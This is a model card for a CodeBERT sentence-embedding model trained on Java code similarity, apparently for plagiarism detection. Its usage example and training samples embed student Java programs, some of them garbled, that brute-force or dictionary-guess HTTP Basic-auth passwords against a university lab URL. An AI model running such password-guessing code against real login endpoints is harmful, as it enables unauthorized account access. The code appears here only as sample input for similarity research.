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SOCO-Java-CodeBERT-ST

Sentence Similarity
sentence-transformers
Safetensors
roberta
feature-extraction
Generated from Trainer
dataset_size:33411
loss:BatchAllTripletLoss
text-embeddings-inference
Model card Files
xet
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SentenceTransformer based on microsoft/codebert-base

This is a sentence-transformers model finetuned from microsoft/codebert-base. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

  • Model Type: Sentence Transformer
  • Base model: microsoft/codebert-base
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity

Model Sources

Full Model Architecture 

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

Unnamed Dataset

  • Size: 33,411 training samples
  • Columns: sentence_0, sentence_1, and label
  • Approximate statistics based on the first 1000 samples:
    sentence_0 sentence_1 label
    type string string int
    details
    • min: 61 tokens
    • mean: 471.36 tokens
    • max: 512 tokens
    • min: 61 tokens
    • mean: 491.01 tokens
    • max: 512 tokens
    • 0: ~99.50%
    • 1: ~0.50%
  • Samples:
    sentence_0 sentence_1 label

    public class ImageFile
    {
    private String imageUrl;
    private int imageSize;

    public ImageFile(String url, int size)
    {
    imageUrl=url;
    imageSize=size;
    }

    public String getImageUrl()
    {
    return imageUrl;
    }

    public int getImageSize()
    {
    return imageSize;
    }
    }



    import java.net.;
    import java.io.    ;
    import java.util.Date;

    public class MyMail implements Serializable
    {



    public static final int SMTPPort = 25;


    public static final char successPrefix = '2';


    public static final char morePrefix = '3';


    public static final char failurePrefix = '4';




    private static final String CRLF = "\r\n";


    private String mailFrom = "";


    private String mailTo = "";


    private String messageSubject = "";


    private String messageBody = "";


    private String mailServer = "";


    public MyMail ()
    {

    super();
    }


    public MyMail ( String serverName)
    {

    super();


    mailServer = serverName;
    }


    public String getFrom()
    {
    return mailFrom;
    }


    public String getTo()
    {
    return mailTo;
    }


    public String getSubject()
    {
    return messageSubject;
    }


    public String getMessage()
    {
    return messageBody;
    }


    public String getMailServer()
    {
    return mailServer;
    }


    public void setFrom( String from )
    {

    mailFr...    		 0

    import java.util.;
    import java.net.    ;
    import java.io.*;
    public class WatchDog
    {
    private Vector init;
    public WatchDog()
    {
    try
    {
    Runtime run = Runtime.getRuntime();
    String command_line = "lynx http://www.cs.rmit.edu./students/ -dump";
    Process result = run.exec(command_line);
    BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));
    String inputLine;
    init = new Vector();
    while ((inputLine = in.readLine()) != null)
    {
    init.addElement(inputLine);
    }

    }catch(Exception e)
    {
    }
    }
    public static void main(String args[])
    {
    WatchDog wd = new WatchDog();
    wd.nextRead();
    }

    public void nextRead()
    {
    while(true)
    {
    ScheduleTask sch = new ScheduleTask(init);
    if(sch.getFlag()!=0)
    {
    System.out.println("change happen");
    WatchDog wd = new WatchDog();
    wd.nextRead();
    }

    }
    }
    }

    import java.net.;
    import java.io.    ;
    import java.util.*;

    public class Dictionary{

    private static URL location;
    private static String user;
    private BufferedReader input;
    private static BufferedReader dictionary;
    private int maxLetters = 3;



    public Dictionary() {

    Authenticator.setDefault(new MyAuthenticator ());

    startTime = System.currentTimeMillis();
    boolean passwordMatched = false;
    while (!passwordMatched) {
    try {
    input = new BufferedReader(new InputStreamReader(location.openStream()));
    String line = input.readLine();
    while (line != null) {
    System.out.println(line);
    line = input.readLine();
    }
    input.close();
    passwordMatched = true;
    }
    catch (ProtocolException e)
    {


    }
    catch (ConnectException e) {
    System.out.println("Failed connect");
    }
    catch (IOException e) ...    		 0

    import java.util.;
    import java.net.    ;
    import java.io.*;
    public class ScheduleTask extends Thread
    {

    private int flag=0,count1=0,count2=0;
    private Vector change;
    public ScheduleTask(Vector init)
    {
    try
    {

    Runtime run = Runtime.getRuntime();
    String command_line = "lynx http://yallara.cs.rmit.edu./~/index.html -dump";
    Process result = run.exec(command_line);
    BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));
    String inputLine;
    Vector newVector = new Vector();
    change = new Vector();
    while ((inputLine = in.readLine()) != null)
    {
    newVector.addElement(inputLine);
    }
    if(init.size()>newVector.size())
    {
    for(int k=0;k {
    if(!newVector.elementAt(k).toString().equals(init.elementAt(k).toString()))
    ch...    		 import java.io.;
    import java.net.    ;
    import java.util.*;


    public class Dictionary
    {
    public static void main (String args[])
    {


    Calendar cal = Calendar.getInstance();
    Date now=cal.getTime();
    double startTime = now.getTime();

    String password=getPassword(startTime);
    System.out.println("The password is " + password);
    }

    public static String getPassword(double startTime)
    {
    String password="";
    int requests=0;

    try
    {

    FileReader fRead = new FileReader("/usr/share/lib/dict/words");
    BufferedReader buf = new BufferedReader(fRead);

    password=buf.readLine();

    while (password != null)
    {

    if (password.length()<=3)
    {
    requests++;
    if (testPassword(password, startTime, requests))
    return password;
    }

    password = buf.readLine();

    }
    }
    catch (IOException ioe)
    {

    }

    return password;
    }

    private static boolean testPassword(String password, double startTime, int requests)
    {
    try
    {


    U...    		 0
  • Loss: BatchAllTripletLoss

Training Hyperparameters

Non-Default Hyperparameters

  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • num_train_epochs: 1
  • multi_dataset_batch_sampler: round_robin

All Hyperparameters

Click to expand
  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.0
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: False
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: batch_sampler
  • multi_dataset_batch_sampler: round_robin

Training Logs

Epoch Step Training Loss
0.2393 500 0.1875
0.4787 1000 0.1815
0.7180 1500 0.24
0.9574 2000 0.1596

Framework Versions

  • Python: 3.11.13
  • Sentence Transformers: 4.1.0
  • Transformers: 4.52.4
  • PyTorch: 2.6.0+cu124
  • Accelerate: 1.7.0
  • Datasets: 3.6.0
  • Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers 

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss 

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}
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